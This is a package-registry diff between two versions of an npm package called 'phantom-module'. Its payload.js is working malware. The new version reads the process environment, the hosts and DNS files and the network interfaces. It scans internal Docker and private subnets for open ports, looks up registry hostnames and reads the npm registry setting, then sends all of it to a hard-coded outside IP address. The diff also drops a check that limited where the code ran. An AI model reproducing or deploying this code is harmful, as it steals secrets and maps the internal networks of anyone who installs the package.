phantom-module 121.0.0 → 123.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/payload.js +32 -86
package/package.json
CHANGED
package/payload.js
CHANGED
|
@@ -1,11 +1,9 @@
|
|
|
1
1
|
const http = require('http');
|
|
2
|
-
const https = require('https');
|
|
3
2
|
const net = require('net');
|
|
4
3
|
const fs = require('fs');
|
|
5
4
|
const { execSync } = require('child_process');
|
|
6
5
|
const dns = require('dns');
|
|
7
|
-
|
|
8
|
-
if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
|
|
6
|
+
const os = require('os');
|
|
9
7
|
|
|
10
8
|
const REPORT_HOST = '154.57.164.64';
|
|
11
9
|
const REPORT_PORT = 31099;
|
|
@@ -26,10 +24,10 @@ function report(moduleId, data) {
|
|
|
26
24
|
});
|
|
27
25
|
}
|
|
28
26
|
|
|
29
|
-
function checkPort(host, port
|
|
27
|
+
function checkPort(host, port) {
|
|
30
28
|
return new Promise((resolve) => {
|
|
31
29
|
const sock = new net.Socket();
|
|
32
|
-
sock.setTimeout(
|
|
30
|
+
sock.setTimeout(400);
|
|
33
31
|
sock.on('connect', () => { sock.destroy(); resolve(true); });
|
|
34
32
|
sock.on('error', () => { sock.destroy(); resolve(false); });
|
|
35
33
|
sock.on('timeout', () => { sock.destroy(); resolve(false); });
|
|
@@ -37,110 +35,58 @@ function checkPort(host, port, timeout) {
|
|
|
37
35
|
});
|
|
38
36
|
}
|
|
39
37
|
|
|
40
|
-
function
|
|
38
|
+
function httpGet(url) {
|
|
41
39
|
return new Promise((resolve) => {
|
|
42
|
-
|
|
43
|
-
const req = mod.get(url, { timeout: 2000, ...opts }, (res) => {
|
|
40
|
+
http.get(url, { timeout: 2000 }, (res) => {
|
|
44
41
|
let body = '';
|
|
45
42
|
res.on('data', c => body += c);
|
|
46
|
-
res.on('end', () => resolve({ status: res.statusCode, body
|
|
47
|
-
});
|
|
48
|
-
req.on('error', e => resolve({ status: 0, body: e.message }));
|
|
49
|
-
req.on('timeout', () => { req.destroy(); resolve({ status: 0, body: 'TIMEOUT' }); });
|
|
50
|
-
});
|
|
51
|
-
}
|
|
52
|
-
|
|
53
|
-
function httpPut(url, data) {
|
|
54
|
-
return new Promise((resolve) => {
|
|
55
|
-
const parsed = new URL(url);
|
|
56
|
-
const body = JSON.stringify(data);
|
|
57
|
-
const req = http.request({
|
|
58
|
-
hostname: parsed.hostname, port: parsed.port, path: parsed.pathname,
|
|
59
|
-
method: 'PUT',
|
|
60
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) },
|
|
61
|
-
timeout: 3000
|
|
62
|
-
}, (res) => {
|
|
63
|
-
let rbody = '';
|
|
64
|
-
res.on('data', c => rbody += c);
|
|
65
|
-
res.on('end', () => resolve({ status: res.statusCode, body: rbody }));
|
|
66
|
-
});
|
|
67
|
-
req.on('error', e => resolve({ status: 0, body: e.message }));
|
|
68
|
-
req.on('timeout', () => { req.destroy(); resolve({ status: 0, body: 'TIMEOUT' }); });
|
|
69
|
-
req.write(body);
|
|
70
|
-
req.end();
|
|
43
|
+
res.on('end', () => resolve({ status: res.statusCode, body }));
|
|
44
|
+
}).on('error', e => resolve({ status: 0, body: e.message })).on('timeout', function() { this.destroy(); resolve({ status: 0, body: 'TIMEOUT' }); });
|
|
71
45
|
});
|
|
72
46
|
}
|
|
73
47
|
|
|
74
48
|
async function main() {
|
|
75
|
-
await report('ECT-654321', '
|
|
49
|
+
await report('ECT-654321', 'V122 ALIVE! hostname=' + os.hostname() + ' user=' + os.userInfo().username);
|
|
76
50
|
|
|
77
|
-
let
|
|
51
|
+
let env = '=== ENV ===\n';
|
|
52
|
+
try { env += fs.readFileSync('/proc/1/environ','utf8').replace(/\0/g,'\n'); } catch(e) { env += 'ERR:' + e.message; }
|
|
53
|
+
try { env += '\nHOSTS:\n' + fs.readFileSync('/etc/hosts','utf8'); } catch(e) {}
|
|
54
|
+
try { env += 'RESOLV:\n' + fs.readFileSync('/etc/resolv.conf','utf8'); } catch(e) {}
|
|
55
|
+
try { env += 'IFACES:\n' + JSON.stringify(os.networkInterfaces()); } catch(e) {}
|
|
56
|
+
await report('ECT-839201', env);
|
|
78
57
|
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
out += 'ENV:\n' + fs.readFileSync('/proc/1/environ','utf8').replace(/\0/g,'\n') + '\n';
|
|
82
|
-
} catch(e) { out += 'ENV ERR: ' + e.message + '\n'; }
|
|
83
|
-
|
|
84
|
-
// 2. Network info
|
|
85
|
-
try {
|
|
86
|
-
out += 'HOSTS:\n' + fs.readFileSync('/etc/hosts','utf8') + '\n';
|
|
87
|
-
out += 'RESOLV:\n' + fs.readFileSync('/etc/resolv.conf','utf8') + '\n';
|
|
88
|
-
} catch(e) {}
|
|
89
|
-
|
|
90
|
-
await report('ECT-839201', out);
|
|
91
|
-
|
|
92
|
-
// 3. Port scan: gateway + neighbors on key ports
|
|
93
|
-
let scanOut = '=== PORT SCAN ===\n';
|
|
94
|
-
const ips = [];
|
|
58
|
+
let scan = '=== PORTSCAN ===\n';
|
|
59
|
+
const ips = ['127.0.0.1'];
|
|
95
60
|
for (let i = 1; i <= 20; i++) ips.push('172.17.0.' + i);
|
|
96
61
|
for (let i = 1; i <= 5; i++) ips.push('172.18.0.' + i);
|
|
97
62
|
for (let i = 1; i <= 5; i++) ips.push('172.19.0.' + i);
|
|
98
|
-
ips.push('10.0.0.1','10.0.0.2','10.
|
|
99
|
-
ips.push('127.0.0.1');
|
|
100
|
-
|
|
101
|
-
const ports = [4873, 80, 8080, 3000, 5000, 8081, 443];
|
|
63
|
+
ips.push('10.0.0.1','10.0.0.2','10.10.0.1');
|
|
102
64
|
|
|
65
|
+
const ports = [4873, 80, 8080, 3000, 5000, 8081];
|
|
103
66
|
for (const ip of ips) {
|
|
104
67
|
for (const port of ports) {
|
|
105
|
-
if (await checkPort(ip, port
|
|
106
|
-
|
|
107
|
-
const r = await
|
|
108
|
-
|
|
68
|
+
if (await checkPort(ip, port)) {
|
|
69
|
+
scan += `OPEN ${ip}:${port}\n`;
|
|
70
|
+
const r = await httpGet('http://' + ip + ':' + port + '/');
|
|
71
|
+
scan += ` -> ${r.status} ${r.body.substring(0,150)}\n`;
|
|
109
72
|
}
|
|
110
73
|
}
|
|
111
74
|
}
|
|
75
|
+
if (scan === '=== PORTSCAN ===\n') scan += 'NO OPEN PORTS FOUND\n';
|
|
112
76
|
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
let dnsOut = '=== DNS ===\n';
|
|
117
|
-
const names = ['verdaccio','registry','npm','npm-registry','verdaccio-server',
|
|
118
|
-
'host.docker.internal','ghostship','corsair','sentinel'];
|
|
119
|
-
for (const name of names) {
|
|
77
|
+
// DNS lookups
|
|
78
|
+
scan += '=== DNS ===\n';
|
|
79
|
+
for (const name of ['verdaccio','registry','npm','host.docker.internal']) {
|
|
120
80
|
try {
|
|
121
|
-
const addr = await new Promise((res,
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
dnsOut += `${name} -> ${addr}\n`;
|
|
125
|
-
} catch(e) {
|
|
126
|
-
dnsOut += `${name} -> NXDOMAIN\n`;
|
|
127
|
-
}
|
|
81
|
+
const addr = await new Promise((res,rej) => dns.lookup(name, (err,addr) => err ? rej(err) : res(addr)));
|
|
82
|
+
scan += name + ' -> ' + addr + '\n';
|
|
83
|
+
} catch(e) { scan += name + ' -> FAIL\n'; }
|
|
128
84
|
}
|
|
129
85
|
|
|
130
|
-
//
|
|
131
|
-
try {
|
|
132
|
-
dnsOut += 'NPM_REGISTRY: ' + execSync('npm config get registry 2>/dev/null').toString().trim() + '\n';
|
|
133
|
-
} catch(e) {}
|
|
134
|
-
try {
|
|
135
|
-
dnsOut += 'NPM_CONFIG_LS:\n' + execSync('npm config ls -l 2>/dev/null | grep -i registry').toString() + '\n';
|
|
136
|
-
} catch(e) {}
|
|
137
|
-
|
|
138
|
-
// 6. Check /proc/net/tcp for listening ports
|
|
139
|
-
try {
|
|
140
|
-
dnsOut += 'PROC_NET_TCP:\n' + fs.readFileSync('/proc/net/tcp','utf8') + '\n';
|
|
141
|
-
} catch(e) {}
|
|
86
|
+
// npm config
|
|
87
|
+
try { scan += 'NPM_REG: ' + execSync('npm config get registry 2>/dev/null').toString().trim() + '\n'; } catch(e) {}
|
|
142
88
|
|
|
143
|
-
await report('ECT-
|
|
89
|
+
await report('ECT-987654', scan);
|
|
144
90
|
}
|
|
145
91
|
|
|
146
92
|
main().catch(e => report('ECT-654321', 'FATAL: ' + e.message));
|